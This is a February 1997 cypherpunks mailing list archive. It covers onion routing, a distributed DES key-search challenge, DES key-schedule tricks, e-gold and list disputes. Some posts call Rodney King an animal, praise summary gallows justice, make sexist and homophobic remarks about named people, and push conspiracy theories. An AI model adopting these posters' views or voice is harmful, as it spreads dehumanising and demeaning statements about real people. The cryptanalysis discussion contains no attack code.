Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Come on, Bob.  Quit rubbing it in about that clear blue water, the 
    tropical temperatures and high horsepower speakers.
        
        -attila

on or about 970219:0704 Robert Hettinga <rah@shipwright.com> said:

+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
+> A proposal and prototype of a different anonymity mechanism can be found at:
+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

+And, of course, you can hear about the next generation from the same
+bunch, on Monday morning at FC97:

+    Unlinkable Serial Transactions
+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

+:-).

+<http://www.offshore.com.ai/fc97/> Cheers, Bob Hettinga

 _____________________________________________________________________
 
  Surveilence is just another form of entertainment.
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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4LfcHeA/m5WSq+kK8GNbSsMq+7Bcfpw+iELlPUhbU671oecayfyJj1C/Irwr2pXF
dgNniD/2s0QnhDGEuHDbFtjkeIiSV70ED9+TO+osLG/fQIigV0jeIFPeh9D0Ri/z
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 11:24:26 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <330B1AC7.9D2@gte.net>
Message-ID: <199702191924.MAA11906@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:

+Simple, but....  In a right to jury trial of peers, are the peers the
+peers of the defendant or the peers of the victim?  Both the Rodney
+King officers and the O.J. cases were perfect examples of how, when you
+switch the peer groups, you reverse the decisions.

    you trying to be some kind of trouble maker? please remember that 
    *all* the fairweather dogooder liberals have been telling us for 
    years that everyone is equal.  yeah, right!

    therefore, juries are obviously color blind, and not dazzled by 
    attorneys calling up racism.  yeah, right!

    as to Powell, he is/was an animal who should have been put away 
    permanently. 

    Koon was an officer's officer (personal experience) and was in the 
    wrong place at the wrong time, not willing to step in. Koon lost 24 
    years of service without a mark, his pension, and all his benefits 
    with 5 or 6 kids at home --and they had to go into hiding until 
    found by the liberal press again and again who obviously felt the 
    family should be punished as well.  we wont even bother with the 
    issues of double jeopardy when they pull a federal civil rights 
    trial on all of them after the state court cleared everyone except 
    Powell who they hung on.  they had a clear right to try Powell, 
    noone else.

    and the video played for evidence missed the first 90 seconds when a 
    very large animal (Rodney King can be described no other way) came 
    out of the car, dancing the jig, and went after Powell.  by the time 
    the prosecutors, particularly the Feds, were through itimidating the 
    witnesses, nobody told the truth. 

    Rodney King had been busted for public intoxication, controlled 
    substances, and disorder enough times that he was well recognized 
    for what he was  --and easily identified.

    in the spooks, we called Powell's actions "the red mask" --once you 
    start staring the beast in the eye, you are so wired on there is no 
    stopping until your opponent is jello. 'shocktroops' or 
    'Stossentruppen' should never be used in civilian police forces, 
    except possibily on SWAT teams, not an average street cop.

    and why did we have the trial in the first place? simply because the 
    LA Times and KABC decided there was going to be a trial.  I dont 
    know whether to chalk it off to their bleeding heart liberals, or 
    just the usual greed for money to be made on high profile news.
    or is it just more of the usual politically correct beat down of
    the oppressive whiteface?

    it is sometimes difficult to defend the LA Police department when 
    you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
    them are cowboys; Big Ed is now a state senator from the far west 
    Valley, what was horse country when I lived there.  they had a job 
    to do, and LA is a mean place. the city itself is 2/3 poverty, half 
    of that extreme ghetto and barrio problems.

    Big Ed is the man who proposed the fitting ending to airline 
    hijackings, and set up his display in plain sight: in front of
    the American Airlines terminal building 4 at LAX before LAX was 
    double decked.  

    Big Ed parked a 40 ft flat bed trailer out there with a judge's 
    bench at one end and a gallows at the other end with the jury box 
    and dock in between.  yes, sir, justice by the hijackers' peers; 
    take the next 12 citizens coming out the doors.

    perfect and swift justice on someone who has no defense for his 
    actions.

    everything else falls under this short take by a prominent author 
    discussing the problem with jury selection: 

        "The men who murdered Virginia's [Nevada] original twenty-six
    cemetary occupants were never punished.  Why?  Because Alfred the 
    Great, when he invented trial by jury, and knew that he had 
    admirably framed it to secure justice in his age of the world, was 
    not aware that in the nineteenth century the condition of things 
    would be so entirely changed that unless he rose from the grave and
    altered the jury plan to meet the emergency, it would prove the most
    ingenious and infallible agency for defeating justice that
    human wisdom could contrive.  For how could he imagine that we
    simpletons would go on using his jury plan after circumstances had
    stripped it of its usefulness, any more than he could imagine that
    we would go not using his candle clock after we had invented
    chronometers?  In his day news could not travel fast, and hence he
    could easily find a jury of honest, intelligent men who had not
    heard of the case they were called to try - but in our day of
    telegraph and newspapers his plan compels us to swear in juries
    composed of fools and rascals, because the system rigidly excludes
    honest men and men of brains.

    "I remember one of those sorrowful farces, in Virginia, which we 
    call a jury trial.  A noted desperado killed Mr. B, a good citizen, 
    in the most wanton and cold-blooded way.  Of course the papers were 
    full of it, and all men capable of reading read about it.  And of 
    course all men not deaf and dumb and idiotic talked about it.  A jury
    list was made out, and Mr.  B. L., a prominent banker and a valued
    citizen, was questioned precisely as he would have been questioned
    in any court in America:

        "`Have you heard of this homicide?'
        "`Yes.'
        "`Have you held conversations on the subject?'
        "`Yes.'
        "`Have you formed or expressed opinions about it?'
        "`Yes.'
        "`Have you read newspaper accounts of it?'
        "`Yes.'
        "`We do not want you.'

        "A minister, intelligent, esteemed, and greatly respected; a 
    merchant of high character and known probity; a mining 
    superintendent of intelligence and unblemished reputation; a 
    quartz-mill owner of excellent standing, were all questioned in 
    the same way, and all set aside.  Each said the public talk and the
    newspaper reports had not so biased his mind but that sworn
    testimony would overthrow his previously formed opinions and enable
    him to render a verdict without prejudice and in accordance with
    the facts.  But of course such men could not be trusted with the
    case.  Ignoramuses alone could mete out unsullied justice.

        "When the peremptory challenges were all exhausted, a jury of 
    twelve men was empaneled - a jury who swore they had neither heard,
    read, talked about, nor expressed an opinion concerning a murder
    which the very cattle in the corrals, the Indians in the sagebrush,
    and the stones in the streets were cognizant of!  It was a jury
    composed of two desperadoes, two low beerhouse politicians, three
    barkeepers, two ranchers who could not read, and three dull, stupid,
    human donkeys!  It actually came out afterward that one of these
    latter thought that incest and arson were the same thing.  "The
    verdict rendered by this jury was, Not Guilty.  What else could one
    expect?  "The jury system puts a ban upon intelligence and honesty,
    and a premium upon ignorance, stupidity, and perjury.  It is a shame
    that we must continue to use a worthless system because it was good
    a thousand years ago.  

        In this age, when a gentleman of high social standing,
    intelligence, and probity swears that the testimony given under
    solemn oath will outweigh, with him, street talk and newspaper
    reports based on mere hearsay, he is worth a hundred jurymen who
    will swear to their own ignorance and stupidity, and justice would
    be far safer in his hands than theirs.  Why could not the jury law
    be so altered as to give men of brains and honesty an equal chance
    with fools and miscreants?  Is it right to show the present
    favoritism to one class of men and inflict a disability on another,
    in a land whose boast is that all its citizens are free and equal?

        I am a candidate for the legislature.  I desire to tamper with 
    the jury law.  I wish to so alter it as to put a premium on
    intelligence and character, and close the jury box against idiots,
    blacklegs, and people who do not read newspapers.  But no doubt I
    shall be defeated - every effort I make to save the country `misses
    fire.'"
            --From "Roughing It" by Mark Twain, Chapter XLVIII.

 _____________________________________________________________________
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shark <shark@turk.net>
Date: Wed, 19 Feb 1997 10:00:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <330B4030.36C0@turk.net>
MIME-Version: 1.0
Content-Type: text/plain


Trial




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Feb 1997 12:55:44 -0800 (PST)
To: trei@process.com
Subject: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702201608.IAA15665@toad.com>
Message-ID: <199702192005.UAA01691@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei <trei@process.com> writes:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > There may be a distributed Internet crack using that approach, 
> > though DES is still very inefficient on general-purpose computers and 
> > works better on bit-twiddliing chips.
> 
> There's one slowly shaping up, organized by the same people who did 
> the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> which is already underway.

The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
I'm having a heck of a time talking him out of it.

What does your software do with the key if it finds it?  Attempt to
email it RSA DS/email it to you/report it to user/other?

Do you know how many people are running your uncoordinated breaking
project?  Are you keeping track of how many people have copies.  (I
suppose that not knowing how many people are running the client is a
disadvantage with the uncoordinated approach.)

I'm trying to get UK Computer shopper to include an uncoordinated DES
searcher in their cover CD, along with a feature article on the
challenge (I thought the possibility of winning $10,000 might be a
large part of the interest factor for a reader).  Don't know if
they'll be interested yet.

(What I'm keen on is the sheer size of the readership -- if 10% of
that lot runs the software, something might happen fast!)

Has anyone tried doing something similar in the US?  Anyone with
contacts with other PC magazine with CD/disk on front format,
preferably with large readership, in UK, US, or other countries?

For this kind of project, you'd need something with a simple windows
interface and install script.  I'd have thought a DES breaker which is
installed in win3.1/win95 to always start at boot up, and consume free
cycles (ie set to back off when the machine is doing other things).  A
screen saver with nice presentation would be one way to do this.

Do any of the breakers do this?  Are there clients from other breaks
which could be adapted which do?  I think someone wrote a screen saver
based breaker after the SSL break?

Adam

ps

Have there been any sightings of your code outside the US?

Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
things often turn up, but I haven't seen it yet.
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 23:59:43 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <330C03B2.B39@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:
> +Simple, but....  In a right to jury trial of peers, are the peers the
> +peers of the defendant or the peers of the victim?  Both the Rodney
> +King officers and the O.J. cases were perfect examples of how, when you
> +switch the peer groups, you reverse the decisions.

>     you trying to be some kind of trouble maker? please remember that
>     *all* the fairweather dogooder liberals have been telling us for
>     years that everyone is equal.  yeah, right!
>     therefore, juries are obviously color blind, and not dazzled by
>     attorneys calling up racism.  yeah, right!

It just makes me a little nervous to see jurors getting so personally
involved that they come out of the box with a clenched fist as a
(I suppose) victory salute.  I didn't care to watch the charade in
Santa Monica recently, but I doubt it was much better.

>     as to Powell, he is/was an animal who should have been put away
>     permanently.

I watched most of the first trial live in '92, since I wasn't working
that year. My impressions at the time went along with the presentation,
which was fair to the officers.  It was stated by Koon and one of the
other officers as much as a year later, when many cities across the
U.S. had been using the King video for training for several months to
a year, "The LAPD has not to this date provided their officers with
new tools and techniques to handle this kind of situation without a
repeat of the same" (quote approximate). Of course, if you're willing
to consider an alternative scenario, one which would appeal primarily
to "conspiracy buffs" and the like, you might recall that L.A. was
getting ready to put in a new freeway from the airport across the
very line where the most fires were (6,000-plus fires, so extensive
that the big jets couldn't fly over to LAX), and I think the outcome
was to save them a lot of work, a windfall as it were.

>     Koon was an officer's officer (personal experience) and was in
>  the wrong place at the wrong time, not willing to step in. Koon lost
>  24 years of service without a mark, his pension, and all his benefits
>     with 5 or 6 kids at home --and they had to go into hiding until
>     found by the liberal press again and again who obviously felt the
>     family should be punished as well.  we wont even bother with the
>     issues of double jeopardy when they pull a federal civil rights
>     trial on all of them after the state court cleared everyone except
>     Powell who they hung on.  they had a clear right to try Powell,
>     noone else.

It's good if you don't read the L.A. Times.  One of their lead editor-
ializers (whores), a professor at USC law school named Erwin
Chemerinsky,
writes in relation to this subject "The federal government is an inde-
pendent sovereign that cannot have its powers diminished by a state
government's actions." (exact quote, 2/7/97).  Either that's a load of
BS doubletalk, or it's one of the more fascistic commentaries from the
Times, which is usually bad enough.
 
BTW, the Times printed a large picture (first time I've ever seen) of
the chairman, someone named Schlossberg, and I think it's spelled
slightly different than the one who married Caroline Kennedy.
Anyway, this guy could be Michael Eisner's twin brother.  Two bozos
if I ever saw 'em, goofy-looking dudes, which would explain much
about their newspaper editorial policy.

>     and the video played for evidence missed the first 90 seconds when a
>     very large animal (Rodney King can be described no other way) came
>     out of the car, dancing the jig, and went after Powell.  by the time
>     the prosecutors, particularly the Feds, were through itimidating the
>     witnesses, nobody told the truth.

The suppression of evidence that worked in the police officers' 2nd
trial has apparently become the precedent for a whole lot of trials.
The feds are sweating hard on this OKC bombing thing - latest is that
the initial witnesses seeing McVeigh here or there have admitted to
contradictory descriptions they've given before.

Note that there was some jury tampering (IMO, and others too) in the
grand jury proceeding in OKC; also note the flimsy excuse for throwing
out the grand jury in the Simpson case, since they weren't going to
indict Simpson.  I didn't even read close on the De La Beckwith case,
where the feds finally nailed him after 20-plus years of trying, but
maybe there's something on the internet....

>     Rodney King had been busted for public intoxication, controlled
>     substances, and disorder enough times that he was well recognized
>     for what he was  --and easily identified.

Let anyone say whatever they want to about cops, but I'm glad it's
not me out there facing 220-lb guys on dust.  I heard first hand
from one who shot a guy twice, and he just kept coming.  If a .38
won't stop 'em, maybe that's where the big dogs come in handy.
It would've been interesting if the King video had a minute or so
with a couple of K-9's...

>     in the spooks, we called Powell's actions "the red mask" --once you
>     start staring the beast in the eye, you are so wired on there is no
>     stopping until your opponent is jello. 'shocktroops' or
>     'Stossentruppen' should never be used in civilian police forces,
>     except possibily on SWAT teams, not an average street cop.

When I went into the Army for combat training, I stood 5-10 and
weighed 120 lbs.  I weighed 130 when I came out.  I guess I could
have gone on patrol looking for Charlie, and maybe kept alive, if
I didn't have to take on some well-fed crazies whose lives were
turning to shit because of their enormous stupidity.  In any case,
I couldn't go out on the street in L.A. and face guys like King,
so I lean toward the cops as much as I can.  BTW (and speaking of
stupidity), the Christopher Commission named 44 or 45 cops out of
the LAPD's 8,000-plus as problem officers, and two(!) of the 45
went to the Simpson home the night/morning of the murders.

>     and why did we have the trial in the first place? simply because the
>     LA Times and KABC decided there was going to be a trial.  I dont
>     know whether to chalk it off to their bleeding heart liberals, or
>     just the usual greed for money to be made on high profile news.
>     or is it just more of the usual politically correct beat down of
>     the oppressive whiteface?

Big Money, Big Fame, Big Fortune.  Look at Dan Rather, Robert McNeil,
Bill Moyers, and others who profited handsomely from their on-the-
scene experience in the JFK killing.  Remember Netanyahu, who spent
all those hours on the telly during the Gulf War, playing the role
of the ultra-conservative Israeli leader who could step right in and
take command in a crisis?  Well, he did, and have you seen any recent
pictures of him?  Even when he's with Yessir Yurafart, he's beaming
broadly, like the cat that just ate the canary.  Big, big money.

>     it is sometimes difficult to defend the LA Police department when
>     you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
>     them are cowboys; Big Ed is now a state senator from the far west
>     Valley, what was horse country when I lived there.  they had a job
>     to do, and LA is a mean place. the city itself is 2/3 poverty, half
>     of that extreme ghetto and barrio problems.
>     Big Ed is the man who proposed the fitting ending to airline
>     hijackings, and set up his display in plain sight: in front of
>     the American Airlines terminal building 4 at LAX before LAX was
>     double decked.
>     Big Ed parked a 40 ft flat bed trailer out there with a judge's
>     bench at one end and a gallows at the other end with the jury box
>     and dock in between.  yes, sir, justice by the hijackers' peers;
>     take the next 12 citizens coming out the doors.
>     perfect and swift justice on someone who has no defense for his
>     actions.

[heh heh]

The people of L.A. really liked Gates, because he kept the peace.
And they liked (Uncle) Tom Bradley just as well, since he kept the
city really clean.  No trash on the streets, no dirt, all the
beautiful shrubs lining the freeways well-watered - you ought to
see Hollywood since they started putting in the "subway" under
Mayor Riordan.  Anyone with any sense of pride at all would be
aghast at what's happened. Streets caving in, wooden planks covering
big holes on lots of streets that you have to drive over, it's a mess.
Even a lot of the old stars on the Walk of Fame were badly damaged.
Riordan must be a Communist, or Mafia or something.  Funny that when
he ran for mayor, his huge billboards all over town had his name in
big letters, and the next-to-last letter (a) was replaced with a
large red star, looking exactly like the ones they used under Mao.

[remainder snipped]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 19 Feb 1997 16:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's time to move on, kids.
Message-ID: <199702192325.AAA15073@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list.
85 of those subscriptions are to other mail-exploders. Smoke 'em if you
got 'em.

-Golem




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Feb 1997 00:44:55 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <3.0.1.32.19970220004926.0073696c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:

>It's good if you don't read the L.A. Times.  One of their lead editor-
>ializers (whores), a professor at USC law school named Erwin
>Chemerinsky,
>writes in relation to this subject "The federal government is an inde-
>pendent sovereign that cannot have its powers diminished by a state
>government's actions." (exact quote, 2/7/97).  Either that's a load of
>BS doubletalk, or it's one of the more fascistic commentaries from the
>Times, which is usually bad enough.

Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
concise summary of at least the last 70 years of double jeopardy
jurisprudence. The only thing that's unusual about the use of the "dual
sovereign" doctrine against the cops who beat King was that it's usually used
against ordinary citizens, not cops. 

Do you suppose it's possible that some of the other evil conspiracies you see
lurking behind every bush are also just reflections of your own fears and
misunderstanding? 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 19 Feb 1997 17:57:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Detweiler trolls^Wrides again
Message-ID: <199702200025.BAA25036@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote:

> Date: Fri, 14 Feb 97 12:57:17 -0800
> From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> To: Tim May <tcmay@got.net>
> Cc: cypherpunks@toad.com
> Subject: Re: Keep it Simple and the Cypherpunk Way
>
>
> what TCM continues to stick his head in the sand over
>
<snip><snip><snip>
>
> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing

a troll




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 07:23:44 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <330C6C52.1DF7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
> >It's good if you don't read the L.A. Times.  One of their lead editor-
> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
> >writes in relation to this subject "The federal government is an inde-
> >pendent sovereign that cannot have its powers diminished by a state
> >government's actions." (exact quote, 2/7/97).  Either that's a load of
> >BS doubletalk, or it's one of the more fascistic commentaries from the
> >Times, which is usually bad enough.

> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
> concise summary of at least the last 70 years of double jeopardy
> jurisprudence. The only thing that's unusual about the use of the "dual
> sovereign" doctrine against the cops who beat King was that it's usually
> used against ordinary citizens, not cops. Do you suppose it's possible
> that some of the other evil conspiracies you see lurking behind every
> bush are also just reflections of your own fears and misunderstanding?

My background is not so much in conspiracy as it is in rational
problem solving.  Conspiracy is yet another model/filter with which
to evaluate events, sometimes useful unless a person automatically
rejects all of that and subscribes to the Elmer Fudd view of history.

I understood clearly the (supposed) intent of the feds in retrying
the Whites in the South who were beating up on Blacks and getting
off with White juries - I just believe they would have served the
people better by declaring mistrials or something instead of using
the "dual sovereignty" BS, since a study of the Constitution and
its preparatory papers shows the fathers clearly would have balked
at this.

One or more of the top feds also commented on the possibility of
retrying Simpson in another criminal case, saying it was not
possible under current law since it didn't have the same aspects
as the Rodney King cops trials. However, that doesn't take anything
away from the fact of a "democracy" run amok, in the hands of bozos
like Michael Eisner and what's-his-schmuck at the L.A. Times, who
are constantly beating the drums for revenge, so that the people
will find "some way, somehow" to lynch people like Simpson, to
"make him pay" for what he "so obviously" did to his victims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 07:35:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20
In-Reply-To: <iNLe3D11w165w@bwalk.dm.com>
Message-ID: <330C6F05.7ACB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > These working examples also prove the other point I have found myself
> > having to repeat... i.e. that anyone who posts to USENET news is trivially
> > ``cullable'', and that E-mail spammers can have all of the E-mail addresses
> > they could ever hope to use any day of the week.

> Did you notice that when the 'censorship experiment' on the CypherPunks
> list was abandoned, that Greg Broiles called for the list to be 'killed'?
> Did you notice that when he was ignored, that he then changed his
> postition to suggest that UseNet was the proper forum for continuing
> the list?

Life is too complicated, ya' know?  I just wanna know who is this
PATTI SHOCK <shock@nevada.edu>  person, who's allegedly calling for
a moderation of some forum on Usenet.  The way I see it, if she's a
real babe, somebody should fix her up with some censored material
just to keep her happy.  Then just let some really mean, dirty
material through once a month or so, just so she knows the process
is working, and protecting her from all sorts of hideous stuff.

OTOH, if she's a Chelsea Clinton look-alike, why bother?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 20 Feb 1997 06:58:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Dale Thorn Conspiracy Theory
In-Reply-To: <330C09DD.14B2@gte.net>
Message-ID: <N2DF3D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(When I got back from WashDC, there were close to 300 new e-mails,
and I'm still digging through the old ones.)

Dale Thorn <dthorn@gte.net> writes:

> Toto wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Take no offense, but why nobody thought about an obviously more likely
> > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> > > > destroy cypherpunks. I personally find the above unlikely, but at least
> > > > more likely than all other suggestions (which I think are an example
> > > > of the delusion of grandeur).

Is LD on this mailing list? Someone should invite him.

> OTOH, I had an instant crush on Zoe Baird.  It broke my heart when
> those heartless bastards in the Senate didn't confirm her.  You just
> can tell when a babe like that can't get in, that the politicians
> love the money better than the women.  Must be a bunch of homosexuals.

I think Kimba Wood is a fine judge.

> Fruit of the Loom was one of the first undie mfrs. to go offshore,
> possibly Taiwan, possibly to the Reds subcontracting off the island.
> You realize that Chiang Kai-Shek(sp?) was either the first or 2nd
> richest man in the world during and after WWII? Running guns, drugs,
> and boxer shorts for the CIA/FOTL company.

Did you know that did wife was Russian?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 06:11:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: E-Gold:  It had to happen
Message-ID: <v03020901af31fc497ff2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Thu, 20 Feb 1997 10:53:31 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Re: E-Gold:  It had to happen

some dead guy called gold dot wrote:
> Yo, c-punks:

Yo, dude

>  In the back of the March 97 issue of Liberty Magazine is an ad
>  for a gold backed e-money system called e-gold(tm).  It appears
>  to be an on-line transaction system for paying other e-gold
>  account holders in e-money backed with gold or other precious
>  metals.

Nice one, perhaps you could scan in the ad, seeing as my issue doesn't
arrive until ... March.  Your system "appears to be" an accounting
system stuck on top of SSL.  But I guess we don't get to find out, for
sure, unless we commit lots of bucks...

>  See http://www.e-gold.com/ for more info.

Yeah, nice pages, lots of homework done here folks, but you forgot to
mention:

  who are you?
  where are you?
  when are you?
  will you be?

--
iang
iang@systemics.com
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 20 Feb 1997 08:08:59 -0800 (PST)
To: Bill Stewart <scotta@sauge.com
Subject: Re: Cryptanalysis
Message-ID: <199702201608.IAA15665@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 19 Feb 1997 08:16:46 -0800
> From:          Bill Stewart <stewarts@ix.netcom.com>
> To:            Scott Auge <scotta@sauge.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Cryptanalysis

> At 11:21 AM 2/15/97 -0500, you wrote:
> >Was wondering if anyone could help me with short explainations on the
> >cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
> >might get a better idea of what i'm trying to accomplish.
> 
> Cryptanalysis of DES is a 25-year ongoing academic exercise, with
> lots and lots of results.  It's easy to attack it in 2**55 tries,
> because of symmetry, but that's a very large number :-)

Many people have made statements to the effect that the complement
key property (if key K encrypts plaintext P to ciphertext C, then
K' encrypts P' to C', where A' is the one's complement of A') of
DES halves the work for a brute force attack, but these people don't
seem to have ever tried to actually use this property - it's 
effectively useless. You still need to run the DES rounds, and the
only win would be in the fact that preparing the key schedule of K'
from the key schedule of K used to be easier than preparing it from 
K' directly. This is no longer a win, since preparing key schedule 
for (K+1) from the key schedule of K is just as easy.

There's the possibility that I'm seriously dense (even Denning has
made statements about halving the effort), but I just don't see it.

[...] 
> The slow part of the attack _had_ been key scheduling, but recent work
> by Peter Trei and others shows that you can do key scheduling very
> efficiently for the brute-force keysearch problem by picking keys
> in Gray Code order (since a one-bit change in key causes a simple
> change in key-schedule - it's totally useless for normal encryption/
> decryption, but it's a big win for brute-force cracks.)

It's not totally useless - if you're going to have to prepare a lot 
of different key schedules (say, for many session keys under IPSEC),
it's still a win to OR together the key bit fanouts than to generate 
the key schedule by the traditional method. It trades a lot of 
upfront, one-time work for a later speedup. 
  
> There may be a distributed Internet crack using that approach, 
> though DES is still very inefficient on general-purpose computers and 
> works better on bit-twiddliing chips.

There's one slowly shaping up, organized by the same people who did 
the RC5-48 crack. I'm still rooting for an uncoordinated search, 
which is already underway.
 
Peter Trei
trei@process.com

PS: Is this the last message to cypherpunks actually about crypto?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 19 Feb 1997 18:56:11 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702192343.PAA02063@toad.com>
Message-ID: <199702200255.LAA07813@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


Dear Mr. Robert Hettinga,

This is Tsuyoshi Hayashi, one of subscribers of the
cypherpunks list, lives in Yokohama, Japan.

I heard today's your voice on the cypherpunks list.  I am
little sad.

I am almost ROM, read-only member...  Although I have been
